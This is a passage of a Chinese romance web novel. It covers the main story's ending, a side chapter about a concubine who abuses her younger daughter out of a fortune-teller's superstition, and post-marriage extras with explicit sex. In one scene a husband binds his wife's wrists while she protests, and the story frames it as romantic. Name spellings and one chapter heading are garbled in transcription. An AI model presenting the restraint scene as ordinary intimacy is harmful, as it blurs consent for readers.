他不再多说,干脆握起她的手,在那彩纸上一笔又一笔,写道“我欲与君相知,长命无绝衰”,“游遍九衢灯火夜,归来月挂海棠前”….… 窦妖惊奇地发现,这些诗都是他们从前写过的。他竟还记得,又原般原样抓她写了一回。 最后写完,他收好笔墨,一手提着这些纸灯,拉她走到河边。 两人把纸灯一盏接一盏的放入河中。任其漂泊。 月色下,窦妖瞧着河中斑驳的流光,潺潺到天际。忆起不知何年何月他说的,我和阿姐执手写的,灯漂去天际,咱们必得上天庇佑,福泽深厚呢。 初夏又快到了,晚风轻醉拂面。窦平宴盯看两人的灯会漂到何处,衣袖下,将她的手牵得很紧。 就像回到了当初,他们只有彼此。如两只蜉蝣,只在世间的某一隅。 或许是不见天日的小屋,或许是假山昏暗的洞里,也或许是烧火的灶台边、灌木丛生的湖鱼池,都是偌大窦府的某一隅。 而小时候的他们,就在这一隅中相依为命,相望相守。 ——全文完- 前言:姐弟婚后一定会有,而且很快会写,大家勿急为了保持故事完整性,这里考虑率先放一章反派的时空线~本文订阅不设置比例,所有人物番外大家可以自由选订~ 随着一声婴孩洪亮的啼哭,兰氏悬起的心终于落了。 她这回生产大出血,险些没能走出鬼门关。 其实这一切早有征兆,在兰氏怀孕四个月时,腹中胎儿跳得就比寻常妇人还要猛烈。她时时感到不适,又是头晕又是恶心,因此窦洪不放心,一连请来好几个郎中为她诊 每个诊完脉的郎中都说,不成大碍,孩子康健才会如此。 等到七个月时,兰氏发觉自己的身子,比寻常妇人怀孕七月都要大,就连胎动也更频繁,常常扰的她睡不好。 可她当初怀窦云娇时却没这样。 这一回郎中诊完,笑着告诉她:“您脉象安慰,不必担忧。许是腹中怀了健壮的男胎,才会如此爱动。” “男胎?”听这话兰氏可欣喜了——男胎,那可太好了。马绫玉那贱人就常常嘲她:再得宠又如何,还不是没有儿子傍身?要真是男胎,岂不打肿马绫玉的脸?看她还怎么嚣张出来。 此后,兰氏陆续找了好几个郎中来瞧。几乎人人都说,她的肚子过大,或许怀的就是男娃。 夜晚床榻间,她欢喜地将此事说与窦洪。 窦洪听后,搂她宽慰叹道:"男孩好呀,咱们已经有了云娇,你再生个男娃,咱们就是儿女双全了。彰哥儿那孩子,才四岁就顽劣,大抵是随了马氏的张扬。我兰儿生出来的,必定是个懂事听话的小子,能让爹爹安心。 兰氏一直盼着,甚至不爱做针线活的她,亲手给未出世的孩儿绣起衣裳、肚兜、毡帽…即便这腹中孩子怀的大,又爱闹腾,常常让她吃尽苦头。但兰氏只要一想这将是个儿子,什么苦也都成了蜜。 临盆那天,兰氏足足喊了十二个时辰。这一趟鬼门关,走得可真险。四年前她生云娇时,都没这么难产。但毕竞这回怀的是男胎,比娇姐儿要大许多,才让她出了好多血。 最终,熬了十个月的兰氏,听到婴孩的哭声后安了心,虚弱阔上双眼。 她再一觉醒来,已是明媚的清晨,主君在她榻边守了一夜。窦洪见她醒,忙招呼婆子把孩儿抱进来。 孩儿就在襁褓中,睡得正香甜。兰氏看得慈祥,手指一戳,软软糯糯的脸教她心都化了 兰氏倚在窦洪怀中,笑着问他:“咱们这孩子可曾取名了,叫什么?” 窦洪点点头,“老太太刚取,叫云相。” “襄?是哪个襄?” 兰氏正好识得几个字,窦洪便在她掌心描写。边写边微笑:“湘,潇湘之水,有清婉静好之意。” 兰氏的脸色倏尔凝住:“怎么听着,倒像是女娃的名儿?” 窦洪一愣,知道她在心忧什么。只将她的手握住,柔声解释,“兰儿,咱们生的是位姐儿。姐儿也好,像云娇一样粉雕玉琢,多可爱。咱们云娇以后也有伴了!” 她不肯相信。不仅无法释怀,有一段时日更是郁郁寡欢。 果然,她这一胎生的女娃,没几日出院子,碰上牵彰哥儿出门的马绫玉,又被人家冷嘲热讽。 马绫玉牙尖嘴利的,若比嘴上功夫,兰氏根本不是对手。她只能受了委屈去找主君哭诉,好在主君宠爱,回回都让马绫玉没好果子吃。 虽说窦洪常常叮嘱,让她不要听那贱人的话。但真不知马绫玉有什么邪术,常常的嘲讽,竟真让这事成为她的心魔。 兰氏又开始找郎中。 但今时不同往日,郎中们都摇摇头,告诉她,这回产子失血过多,母体受损,元气大伤,今后很难再有孕了。 兰氏崩溃,却不肯相信。又陆陆续续吃过好几年的药,用尽偏方,终究还真再没怀过孩子。 有一年,老太太请来道士上门算命。这道士的名号,从前兰氏也听人提过,说是成极大仙的转世。此人还真有些玄乎,他虽是个瞎子,却能够认的准人,连命数也算得极好。 生孩子留下的病根,吃了这么多年的药也不见好。兜兜转转,最终兰氏将主意打在算命瞎子身上。 算命瞎子刚从老太太屋里出来,就被兰氏请去。 兰氏虔诚地唤他成极大仙,又命丫鬟捧上二十两银子,请大仙算算她以后还能不能再生儿子。 瞎子收了钱,转头将黄幡插到床边,开始布阵列法。 打坐结束,兰氏看向瞎子,满目期待。瞎子却对她叹了口气:“恐怕是难啊。小道方才开天道,刚向上苍问过,得知您这命中原该有一子,可惜被生生断送了!” “被谁断送了?” 瞎子见她焦急的神色,口气一松,更加放心大胆:“就是被您生出的那个女娃!原来您怀的,本该是个男胎,谁知这女胎竟是小鬼转世,活生生吃掉了腹中男胎,这才断了您儿子的命! 从那之后,兰氏每每看见云湘,总忍不住想起算命瞎子的话。她恐惧厌恶,却也怨恨—难怪当初她的身孕比常人都大,人人都说她能生儿子。原来不是她不能生,而是她儿子被小鬼吃了,才生出的云湘 窦云湘长到五岁时,已经很不得姨娘喜爱了。 偶尔,她只能看着姨娘牵姐姐,给姐姐折竹蜻蜓逗笑。她也眼馋,哒哒跑过去:“姨娘,湘儿也想要一只!”可她却只能得到姨娘的冷眼:“不是你的东西你要什么?你若想要,自个儿去折,我可没那功夫。” 云湘被兰氏唬到了,怯声:“姨娘,湘儿不会” “不会就让丫鬟给你折,我还要给娇姐儿煎药,哪有这闲工夫?”兰氏已经没了耐心,牵云娇的小手,起身离开。 姨娘和姐姐走了,竹蜻蜓却留在石桌。最后,它被云湘两只胖乎乎的手捧起,小心张望了良久。 比起姐姐,云湘知道姨娘很不喜欢自己,甚至是厌恶。偶尔看她的眼神,还会有恐惧。 云湘一直都不知道缘由,明明她和姐姐长得很像,见过的人都说像,可姨娘却还是不喜欢。 姐姐还会跟姨娘耍性子——喂到嘴巴的饭不想吃、不喜欢的剪纸花样不要。但她不会,姨娘说什么,她都照做,还会抢丫鬟的活儿给姨娘端茶倒水。 但她做得再怎么好,都只有姨娘的冷眼。而姐姐甚至不用多做什么,姨娘都会一口一个心肝儿。 小时候很多事,云湘都不记得了。那些记忆太过委屈,她有意去忘掉。 但有一事,云湘始终忘不掉。 那一年姐姐牛病了,风寒来势汹汹.加之姐姐年纪又小.身子打不住,连续高烧数日.急得兰氏如执锅蚂帆 云湘在午睡中被姨娘摇醒。 她揉了揉眼睛,被姨娘迷迷糊糊带进一间屋子。 屋子里有神像,一个人盘腿坐在正中。云湘不知道那人是谁,只觉得他很不好看,是个干瘦的小老头,唇边两条八撇细胡。更可怕的是他的眼睛,没有神采,就像两个黑黑的洞。 可姨娘却朝此人跪下:“大仙!大仙!您一定要救救我的大女儿……” 再一眼,姨娘瞥向她,“人,我给您带来了,求大仙施法” 道士颌首,接着端起碗,朝云湘走来。 云湘不知那碗里盛了什么,很重很刺的腐血味。她十分害怕,拔腿想跑,却被姨娘死死按在原地。 所涂之处,火辣辣的疼,疼得云湘嚎响大哭。可刚哭出声,就被姨娘捂住嘴巴。姨娘斥道:“不准哭。你再哭,娇姐儿的命可就没了!” 那道士涂完,又从布袋里掏出一块木头,递给兰氏,“此木乃是做过法的沉水香木,可以锁精魂。你让她戴在身上,就能用她的精气养你的大女儿。” 小时候的娇姐儿身子骨弱,常常生病。兰氏便给木块系了绳,让云湘戴在脖子上,暗嘱不准脱掉。又怕此事被旁人知晓,就将它藏在女儿的衣领之下。 云湘从没被姨娘怎么抱过,只有姐姐,能被娘亲搂在怀里。云湘记得,只有每逢姐姐病了,姨娘才会抱她,失魂落魄地耳边叨嚷:“你不要去湖边玩,不要摔了,也不要染上风寒…我还指望你的精气养云娇呢!你若病了,你姐姐可怎生好……” 若说从前兰氏的话,是扎在她心头的一根刺,那么如今,却成了一根冰碴。她除了心寒,长年累月过去,已不再觉得疼。早已冻硬了,也冻狠了。 她只知道,这世上除了自己,没人靠得住。也没人会比自己更珍惜她。她心觉可笑,明明自己不差给任何人,为何云筝可以是曹姨娘的命根,窦妖可以是马姨娘的命根?明明都是姐姐,为什么窦平宴却格外在乎另一个?她们都有至爱自己的人,而且她却没有…没有一个人,敢为了她不顾一切,去做任何事。 所以她要争抢,要成为家里姑娘中最耀眼的那位。 甚至一开始,她勾引戎北,不过是寂寞这么些年,不想守德守训,情愿放纵叛祖一回。 起先她瞧不起戎北,心想,不过一个贪财的小厮。两人既为利而聚,也会因利而散。 甚至最后被活活打死,他也不吭一声,只有一双深远湿润的眼眸,静静望她良久,直到咽气…… 那是她头一回,为一个人这样真切地落泪。 第知章【外】实云湘 84、【番外】婚后·壹 在茶馆听了这么多年的上京,窦妖只知道那是全天下最富庶的地方,却还没有去过。 今日,她终于来到这地了。 从车窗远望,遍地飞檐阁楼,街头的人马川流不息。近处有贩货的小摊,演杂技的人儿,远处茶坊酒馆,丝竹不绝。 过了闹市,马车往矶石街的方向行驶。这一带变得幽静不少,处处朱门林立,街边栽种着高大绿柳。 起先窦妹以为,到了上京得先安家,找个落脚之地。但她没有想到,早在他们抵达之前,窦平宴就已置办好府宅。 她问弟弟何时买的,小年却笑嘻嘻抢先答道:“小娘子有所不知,咱二爷当初殿试之后,便开始着手了。就连地皮和宅院里一草一木,都是二爷亲手看过挑过,唯恐您不喜欢。” 那时候就买了? 窦妖这才意识到,原来窦平宴来扬州,是打定主意要把她带回去。 “府里的家丁,丫鬟仆婢也都在候着。至于管事的,外祖父热心,去年听闻我在置办家宅,到处采买仆婢,就从府上挑了个得力的,帮我一同照看。”窦平宴揽入她,“此人岁数与昌叔相仿,我观望数日,管事的确井井有条,阿姐日后就不用那么累了。一会儿你见到人,喊他余叔就好。” 说着,窦平宴忽然想到某个人还在家里,脸色一变,忙在车窗边叫住小年。侧头低语几句后,小年快马加鞭地离开。 小年并没有掉头走,离去的方向,正在他们要回家的方向。 窦妖奇怪,转头问弟弟:“小年这么风风火火,是出事了吗?” 窦平宴少见的结巴,“没、没事,阿姐勿担心。” 马车还在继续走着,窦妖却发现,自从小年离开后,他的神情有些不安,似是在担忧。 又行驶没多久,快到家门的时候,窦平宴忽然叫车停,勉强一笑:“阿姐,我想起你的胭脂铅粉,还未来得及采买,不如我们上街瞧瞧如何?” 都走出闹市这么久,现在折回可太远了!窦妹是个嫌麻烦的人,一口拒绝:“无妨的,这些都不急,过两日再买也是一样。咱们先回去吧?” 只见窦平宴再三犹豫,迟迟不肯应下。这让她十分古怪——直到小年骑马又赶回来了,附到窦平宴耳边低语后,他神色一松,继而转头笑道:“也好阿姐,咱们先回去。” 窦妖:"……"她更加确定,他一定有什么在瞒着。 难道有她不能见的人? 方才弟弟就一直不安,还想阻止她回去,现在小年过来传话后,他竟又不阻止了! 因此,窦妖断定,他一定先让小年回府宅看了,处置掉某个人后,才愿让她回去….… 现在窦平宴舒心了,却换她脸色不对。窦妖有心事,却不想窝在心里。索性从他怀中钻出,质问:“为什么不让我回去,你是藏人了吗?” 此话一出,倒真让窦平宴自乱阵脚。他立马按住人,抱进怀中否认,“没有没有,什么人都没有。” “那你为什么……” 窦平宴蹭她的脑袋,方笑道,“那是我怕家里还未拾掇清楚,怕你失望,先让小年回去看看嘛。” 窦妹小脸皱着,疑虑还是没有打消。 终于,马车到家了。 府宅门面宽敞气派,立着两尊大石狮,附近灌木苍翠,绿荫成片。 进入大门里面,几条游廊下来,更是别有洞天。除却这是个四进院之外,还修了两座极大的园子,有水榭飞阁,绣楼高台。 一路上,来来往往的仆婢,见了新面貌都稀奇。唤过郎君与娘子后,忍不住回头频频张望,皆叹是对年轻璧人。 苗巧凤跟着于叔,领一干家丁,把从江陵带来的箱笼、细软等,先搬到正院去。 窦妖一路看过来,简直目瞪口呆:“我们只有两个人,何必买这么大的府邸?会不会太旷了……” 窦平宴搂住她,也不管光天化日就亲她的脸颊,笑道:“大吗?也还好啊。阿姐喜欢热闹,日后家里人多起来,就不会显得旷了。” 人多起来……窦妖怔怔地想,不知不觉中想到他回家前的怪异。进门后她还留意了,的确没看见可疑的人,是不是已经被小年送走了?他说人多,是想以后纳妾,多添几个子嗣吗? 晚上云太尉打发人来传话,窦平宴去了趟云府。 云太尉是云如珍的父亲,也是窦平宴的外祖。 当初云如珍因为瓶翠的事闹起,破罐子破摔,将自己遮掩多年的秘密揭露。后来数月,母子二人一度不曾讲话。直到窦平宴离开江陵的那日,云氏虽不和送行的窦府众人站在一块,却躲在大门石屏后面。她和弟弟都瞧见了,却不约而同的没有提起。 最后还是窦洪把一个包袱托给儿子,说:“快入夏了,里面还有几件夏裳呢,你路上带着。” 窦洪虽没细说,但是上马车,窦妖看见包袱里的衣裳,一眼便认出这是云如珍的手活。 大娘子出生武家,不爱针线,刺绣功夫也是平平。可这几件衣裳,却绣得尤为细致。 弟弟一走,窦妖和苗婆子便在屋里整箱笼。 今日她还未把府邸好好看过一遍,但苗氏却带丫头逛了一下午。窦妹便趁此向苗氏问,“府上那些院落你都去瞧过了?可曾看见可疑之人?” 苗巧凤一头雾水:“娘子说的是何人?” 窦妹左瞧右瞧,挥退屋里的丫鬟。 她靠近苗婆子,低声道:“到家前,弟弟非要小年先去打探。我听到小年跟他说‘人不在府上,二爷宽心''….后来他才肯让我回来,显然不想让我看见此人。” 苗婆子狐疑地一想,拍掌惊道:“该不会是位美娇娘吧?” 窦妖忙凑上前:“怎么说?” 苗巧凤:“娘子您想,什么人二爷会如此提防,不让您见到?那必然是见到了,会伤您与二爷情分的人!这样的人世上能有几个?依老奴看,就是美娇娘了!没准此人是二爷当初在上京时找的,先养在了府宅?” 窦妹陷入沉思…… 其实苗巧凤说得很在理,她一句也反驳不出。倘若真是美娇娘的话,那…要怎么办? 窦妖有种说不上的复杂感觉。 她看向了苗氏,想询问苗氏的意思。苗巧凤两眼一眯,出主意道:“男人三妻四妾是迟早的事,娘子您想想主君,不也有三房姨娘吗?虽说二爷与您的情分,远比主君与大娘子要甚,但也不妨他看上旁人啊!依老奴看,娘子不如便利用这姐弟情分,做个宽容样给二爷看?只要二爷够喜欢,以后不管哪房妾室进门,都赛不过您,您也可以打压打压她们……” 窦妖听后再度沉默。 这样下去,好像真要做个当家主母的表率了? 其实关乎妾室之事,她以前和魏攸在一块时也曾想过——倘若魏攸要纳妾,她是不会拦的。可是现在到了弟弟这儿,为何就是不太情愿呢? 深夜亥时,窦平宴回来。沐浴梳洗过后,毫不意外地抱她上榻纠缠起来。 以前每每行这事,她都会害羞地闭眼。今晚却走神,窦妹难得没有闭眼,侧着脸,迷糊的眸光落在枕边。 怪,太奇怪了…… 窦妖忍不住想,刚成婚那会子,每逢他想欢好的时候,都要她提一嘴避子汤,他才会去喝,否则绝不主动……可今日,哦不对,是最近……他一直主动在喝避子汤。他不想要孩子?难道真是成婚太久,对自己厌倦了吗? 窦妖一直恍惚,直到胸口被人咬住,才吃痛的回神推他肩头。只见他一笑,顺势映在她的唇上。又去寻觅她的耳朵不停亲着,低声问:“今日怎么了,怎么心不在焉的?" 一道灼热的视线落在脸上,烧得她火辣。问完,窦平宴忽然动起,她被刺激,下意识抓住他的双臂,脖颈上仰,紧紧阖上双眸,嘤咛从喉间溢出,被她悉数挟在齿中。 他趁此吻向她的脖颈,想听声音,力道不免重了些。雨打竹帘,到后来窦妖渐渐受不住,推着他,寒寒窣窣的哭音从喉间出来。窦平宴缱绻亲着她失魂润润的眼眸,好声安慰:“不哭不哭,很快就好了…” 雨声落洞,却没有停歇之势。 在她的呜咽里,窦平宴一边疯狂吻着,一边在耳边哑声问:"方才在想什么?为何走神那么久?" 火烧烫,泪朦胧,眼前一切混沌开。 白光迸发,她什么都看不清,连气呼吸都艰难,只能紧紧抓住他的手臂,像抓住救命稻草般。 原来不想说,也真不打算问他。 可最后,不知是彻底被他攻墙陷城还是旁的,窦妖一哭,牢牢抱住他的肩头。没有像往日那样泣泪求他,只有断断续续,又哆嗦地问:“你有没有……有没有瞒着我藏娇娘………" 窦平宴轻笑,亲了亲她含泪的眼眸。起先说没有,后来见她此刻娇美绽放的模样,又起了促狭之心。亲脸颊低低笑问:“若有,你会吃醋吗?” 窦妖正如走在悬崖边的人,气息急促又被捣腾得神志崩溃。她晕晕乎乎,半阖着眼,耳朵轰鸣,什么都听不见,只依稀听到声若有,觉得酸楚难言。不及多想,竟是怔然点了点头。 窦平宴见她承认,巨大的喜悦笼罩心头,捧住她的脸颊不停乱亲,边亲边揉头:“阿姐好乖好乖……” 后来,窦妖不知自己是怎么睡下的。许是太累,双眼不知不觉就眯上了。等她睡醒,一夜过去,已是明媚的大清晨,身边的人也没了,只有她散落一地的衣裳,惹人遐思。 昨晚……她努力回想起昨晚,明明最后还是问了,但他怎么答复,怎么一点印象都没有?浑身倒是酸痛得很。 是不是没否认?只说了句若有? 算了,记不太清! 窦妖梳洗完,穿戴好,便去用早膳。这是他们刚来上京的第二日,窦平宴不在,但却把小年留在家里。 窦妹以为他上街去了,准备留他的早膳。小年出声,她才知道,原来窦平宴不是上街,而是一早去了翰林院,也用过早膳。 窦妖问小年:“他去翰林院,你怎么不随着呢?” 小年笑道:“二爷没有小的也成,已经带随从去了!小的随二爷曾在上京住过数月,对这里轻车熟路。二爷让小的留下陪娘子,小娘子上街,或者去二爷买好的铺面转 转,都可以。” “他在上京买好铺面了?” 小年忙点头:“是啊,娘子不是说,想要有个铺面,自个儿招人做营生,卖绣品衣裳之类的吗?二爷因此就去找了,去年请好友着手操办!”窦妖被小年的话暖了心。 不免思量起——既然窦平宴待自己如此好,那自己也不该自私,应该要像苗巧凤说得那样,学会宽容大度! 不如今晚就跟弟弟说开,让他纳妾吧? 这样他也不用这么累,把美娇娘东藏西藏了! 85、【番外】婚后·贰 窦平宴的这两间铺面,修在平昌街。 此处乃是上京数一数二繁华的地方,每日人流如潮。窦妖刚从马车下来,便瞧见前方两间极为开阔的门面。店里头已经打点清楚,整葺古香古色,有成排的雕花木架。 这是两家相连的铺面,左邻卖字画珍玩的铺子,右邻茶馆。因着还未开张,店门并不像别家那样敞开,只留半开的小缝。 进店,里头有三个人。一个女人,两个打下手的小二。他们本在擦扫,逢见主家来,纷纷放下手头的活儿。两个小二不过十几,都是年轻人。 女人叫素娘,三十来岁,原先是许府的人,在许六郎手底下做事。 由于做事稳妥,老成持重,尤得六郎器重。正是因此,半年前就被六郎送来。许六郎吩咐,要她先照看铺面,以后这里要卖衣裳,还会来个新主家。 许六郎又给她弄来两个小二打下手——这俩小二都不是许家的下人,而是六郎招来的长工。 虽说要开衣裳铺子,可店里半匹布料都没有。素娘问起的时候,许六郎便说:“不急,等新主家到了,她自会去挑。” 许六郎没说新主家是谁,素娘以为,左右都是许家的人。 素娘没想到,新主家竟这么晚才来! 直到一个月前,素娘实在待不下去,索性找上主子,也就是六郎,请求还是把自己调回许府吧!但许六郎只是淡淡笑道:“不急,人很快就来了。” 今日,这位祖宗可算来了。 待素娘看清人,更没想到的是,新主家是副生面孔。不仅生面孔,还是个年轻的小娘子。 素娘在许府待了十几年,敢断定此人,绝不是家里的表姑娘。 但是小年,素娘却认识。他家二爷姓窦,是去年春闱鼎鼎有名的榜眼,后来跟主子一同进了翰林院,二人也是因此结识的。 小年跟他家二爷来过许府几回,素娘很是眼熟。再一打量小年身后的娘子,已能揣摩到几分——原来六郎这铺面是帮窦二郎找的。 小年与窦妖介绍完素娘,又跟素娘和两个小二笑道:"这是我们府上的小娘子。以后便是娘子做东家,带你们,大伙不可懈怠了!" 素娘和小二忙应是。 小年跑去买吃食,窦妖便找了张椅子先坐。 苗巧凤递来一盏茶,窦娇轻抿,含笑看向素娘:“姑姑该如何称呼?” 素娘提早打量过,眼前这位娘子年轻貌美,华衣贵饰,又有丫鬟婆子伺候,一看就是大户出生。 素娘虽知这是窦家的人,却还没搞懂来历。于是低眉笑道:“姑姑不敢当,老奴是许府的,被指来店面帮衬小娘子做营生,娘子唤老奴‘索娘''便好。” 许府?这是谁家呢? 窦妖也没听弟弟提起过,很是陌生。想来这两间铺面,还有店里正前的掌柜台、木施架子之类,也都是许府帮忙弄的? 其实开店的主意她很小时候就有了,每每乘车上街,听到小铺前的吆喝揽客声,她也幻想某天,能凭借自己一双手造出银子。 她见过大姐姐的婚后。那时大姐姐还没有生孩子,每日留在家中不是替丈夫教养妾室的孩子,就是同几位世家的娘子游园赏花…窦妖避世这些年,没有很亲近的闺中密友,游园也变得无趣。尤其是见过姨娘和张伍如何经营木材铺,所以对她而言,做营生要更有意思些。 窦妖有了主意,就会马上做。 她先向素娘问起,以前可有当过铺面的掌柜? 素娘却摇摇头:“老奴只在许府管过丫鬟,掌柜也是这般做吗?” “是,但也不是。”窦妖回想姨娘是如何当掌柜的,徐徐琢磨道:“掌柜与管理家宅不同,不仅要管好手下的人,还得会记账,算账。进了哪些货,又卖出多少银两…除此之外,更要能说会她想起姨娘的嘴就很巧,卖把藤木椅子,都能说出朵花。可惜算账,姨娘就算不太来,先前让张伍算,后面窦妖来到扬州,也帮姨娘算过一阵子。 但素娘显然是个新手,光听她讲便懵了。窦妖只好笑道:“算了无妨,左右我也头一回做营生,咱慢慢来就是。” 与素娘说完,窦妖开始打量这间店面。 店里虽没有布匹,但其余的东西一应俱全,小到针线、漆盘、量衣木尺,大到摆放成衣的木施、木架都备齐了。 更周到的是,比起别家做衣裳的店,这家店里有几支木施恰巧做的是人形,姿势各异,做好的衣裳往上一套,就跟人穿上似的。 她记得,刚刚小年说,铺面是二爷托旁人找的。至于这个“旁人”是谁,小年却没有交代。 从素娘口中,窦妖只听到“许府”两个字眼。不免好奇问素娘,“这种样式的木施我还是头回见,旁的成衣店鲜有,你家主人却能找木工做出样式,他以前也做这种营生吗?” 素娘笑道:“我家主子哪会做衣裳呢?他对针线不上心,不过倒是对医理颇有兴致……” 说到一半,小年突然赶到。听到她们聊的话,小年急忙捅了捅素娘的手肘,打断。 素娘虽不知自己说错了什么,但眼见小年不太好的脸色,也意识到自己多言,登时闭了声。窦妖隐约察觉,他们在瞒她什么。她看向素娘,见素娘低着头,连脸都不敢抬。于是,又看向小年……不知是不是跟久窦平宴的缘故,如今的小年也像他一样,任何时候都能处事不惊,脸上有笑。 小年把糕点纸袋推过来:“您尝尝,小的方才跑去东角楼街买的,沙糖冰雪冷元子,给娘子解暑……” 窦娇不为所蛊,继续问素娘:“怎么不说了?我还没听完,你们是有什么瞒我吗?” 素娘窘迫一笑,望向小年。小年瞪了眼素娘,率先道:“没有,自然没有瞒娘子的!素娘是说她家主子,也就是许小娘子,早些年在闺中不好针线,但喜欢医术。如今针线活不好,看婆家十分困难。这事不好于人前说的,素娘就没有多言…” 许小娘子? 窦妖吃惊,原以为帮窦平宴找铺面的是位友兄,不想竟是女子吗? 不知为何,她想起昨日窦平宴的古怪 到家之前,他们主仆二人遮遮拦拦,好像极不想让她看见什么人。而确定“那个人”不在时,才放心她回去…. 是自己多想了吗? 傍晚回程的马车上,苗巧凤瞧出窦妖的心思,与她说道:“娘子,差不了的!若素娘的主子是个待字闺中的小娘子,那可真是太可疑了。又是帮二爷找铺面,又是送自家的人看店,这还能没点什么嘛?况且方才….” 苗巧凤怕车外骑马的小年听到,便往窦妖身侧靠近些,压低声音:“方才显然是有事不能说,险些被素娘说出口!小年一来,这话就没了尾巴。依老奴看,昨日的担心不无道理,看来与二爷有牵连之人,不是美娇娘,而是许家的小娘子了?” 窦妖持着这分疑惑回到家中。 今日下午,她带着素娘到城西的布坊挑料子,忙活一下午十分累,回去没等到窦平宴,于是自个儿用过晚膳便去睡了。 所谓日有所思,夜有所梦。这回的梦更是稀奇古怪,她从前都没梦见过——梦里的“许小娘子”有了脸,与弟弟站在一块。弟弟告诉她,我不爱你了,也不需要你。如今,我要娶别人。她微笑着说好,写了封和离书,转身离去。眼泪却如一颗颗断线的珠子,湿浸衣衫。 她奇怪地想,不是不爱他么?从前不是逃之不得吗?如今为何会难过呢? 忽然地面一震,也许是有人上榻,床板下陷。 窦妖很快从湿漉漉的梦中惊醒。 幔帐内光线昏暗,她侧眸看去,一道黑影瞬即笼罩,带着腾腾的热气将人环住。他压来,摸到腰身,轻车熟路褪下她的小衣。 梦中的窦平宴…眼前的窦平宴…窦妖一下没从睡梦缓过来。就当他湿答答吻在脖颈时,窦妖偏头麻木地想,那个梦到底是不是真的?许家小娘子又是怎么回事?明明不爱,梦里的自己又为何会哭呢?想着想着,几乎鬼使神差,窦妖搂住他的肩头。 窦平宴亲吻的举止顿住,胸口有什么在猛跳,气息更沉。 他抬头看她,小心翼翼,颤手捧住她的脸亲了口。就当要寻觅她的唇交吻时,窦妖突然说道:“我想好了,你若想纳妾,我不会拦你的。” 他一听,刚起伏的心又跌下去。突然没那么高兴地瞪她:“你知道自己在说什么吗?” “我知道,我知道!” 窦妹继续搂他,为了尽量显得大度,轻声道:“你们男子不都三妻四妾么?这是常事,你若想纳了,大可与我说,不必遮掩,我不会怨你的。” 窦平宴只觉得好笑,也不知她从哪瞎想的,不愿搭理。却又生气——怎么能不在意呢?她跟魏攸在一起时,他就气得要死。换他纳妾,她怎么能不在意呢?窦平宴恨恨亲了下她的脸颊,扯来床帷的锦带,将她双手一圈又一圈绑到床头木栏上。又是这招.…窦妹瞪直了眼,回想起先前求助无门,突然开始挣扎。 可不及她费力挣扎,已经牢牢绑紧了。窦妖紧张盯他,语无伦次。不知该怎么办的时候,脖子就被人咬住啃啮。 她有点疼,又好痒,想揉却揉不到。只能直直挺着身,倒吸冷气。 窦平宴抬起她的腰,垫了只软枕下去。复捏住她的脸,温柔又冷漠地啄了口:“阿姐,我再给你条回头路,好好说。” 86、【番外】婚后·叁 窦妖认为自己已经很大度了。 虽然她不太情愿,却还能主动提起愿意他纳妾。可是…看窦平宴生气的模样,难道是自己多想了?他真没有纳妾的意思? 若他真没有,又到底瞒什么?不让见什么人呢? 况且这些月他的确很怪,行房前不用她催,都会主动吃药了…. 窦妖还没想透,已经被他衔唇吻起。 不比往日柔情蜜意,这会儿格外的重,他有些生气的在咬她,最后趴在耳边闷闷道:“我一直都不知道你到底对我动情没有……虽然我觉得你有,可是今日你又说出这番话,彻底让我灰了心。" 窦平宴摸住她被绑在床头的手腕,认真看她被亲得微红的脸,“阿姐,真喜欢一人.是只要她,眼里再容不下旁人。你明白么?” 他摸完手腕,又往下抚,抚至她被软枕垫高的腰。 床帷里没有光,只有两人交杂的气息。此刻他的眼眸微微眯起,就像盯猎物般盯着她。窦妖被慑到了,本能想挣扎却动不了,只能哆嗦地点点头。 “真喜欢我么?”他又问。 喜欢?对他算喜欢吗? 她实在太茫然了,只知道自己爱他,却不懂这份爱里是喜欢,还是姐弟情深呢。她好像没有刻意去搞懂过,因为自己也不明白。先前弟弟也问过她动情没,那时她给不出一个答复。 就在她迷茫的时候,窦平宴又俯头吻了下来。这回的吻比方才要轻,柔情似水,仿佛这么多年情爱绵绵都化于瞬间。有那么一刻她忘了自己与他是谁,只是天地间两片漂泊小叶,被风吹雨打凑到一块,又在汪洋中缠绵起来。 双眸迷离间,热气消散。 窦妖回神,才看见他不知何时起了身,已经趴到起伏的胸口上,侧耳在听她的心跳。 心跳声因着方才纠缠,一声声铿锵。窦平宴每回亲完都会听,这次也不例外。 最后他的脸上绽出笑容,褒奖地亲了亲她的眉心。把人搂入怀中问:“真是…明明你对我是有心的,为何就是不愿认?我且问你,你老实答我,倘若当初你真嫁给姓魏的,可会允他纳妾呢?" 窦妖心跳得太快了,快到几乎要蹦出胸口。她现在只想坐起身缓缓,便对窦平宴道:“你先给我松绑,我再跟你说。” "不要,你先说。"他笑得像只狡黠的狐狸。 好吧。窦妖如实道:“从前我还真想过此事,若是丈夫纳妾,只要他按礼法来,不做宠妾灭妻之事,我没有可拦的。虽然魏郎与我说过,他不会纳妾……”后面半句,窦平宴就不爱听了,立马捂住她的嘴。悠悠而笑:“原来他与我在你心里,并无二般。不管谁纳妾,你都不在意。” “不…” 窦妖轻微驳道,“若真是无二般,我怎么会跟你回江陵呢?” 此话落下,他的眸光倏而精亮,再也忍不住地抱住乱亲。 仲夏本就闷热,窦妖觉得头发丝都要粘在一块,偏他什么也不嫌,越热越是躁动,要抵死在火炉里折腾。亲了好一会儿,直到窦妖气喘,他突然附在耳边低低说道:“阿姐,你试试我伺候你…” “什么?” 窦妖没听明白他的话,却看见他脸可疑的,红了…. 幔帐昏暗,浓香弥弥。他吻住她的下颌,像蜒蚰般徐徐往下,头颅渐渐入了罗裙。她大惊,行房多回从未见过这样的,腹下异样,羞极了想蹬开,腿却被他紧紧握于两侧。她的手绑在床头,偏挣还挣不动,生生而受。没几下便泣出了声,“别…别这样。” 窦平宴闻言顿住,回去亲了下她的脸颊,宽慰她别怕。 其实他也是头一回。前几日问药时,顺便在医馆取了经。 这种私房事郎中说不明白,最后五两银子买了两卷经书。这两卷可真真是宝贝,有字有图,有些是他曾试过的,但大部分还不曾尝试。如今一见经书,有种相见恨晚之感,窦平宴特特参悟了一个时辰。 本来他没想今晚就用,可刚刚听她的话太过欢喜,便兴致而起,诸多付之她身。他又回到罗裙之中,仔细钻磨。凡亲口尝过之处,柔软类花。最后弄花渗水,浇得他暖意融融。 自然,做了这事的后果就是她哭得厉害。他出来时她的手腕已磨红了,尤想方才挣的多激-烈。他心疼的松绑了,把人抱在怀中哄了好久。 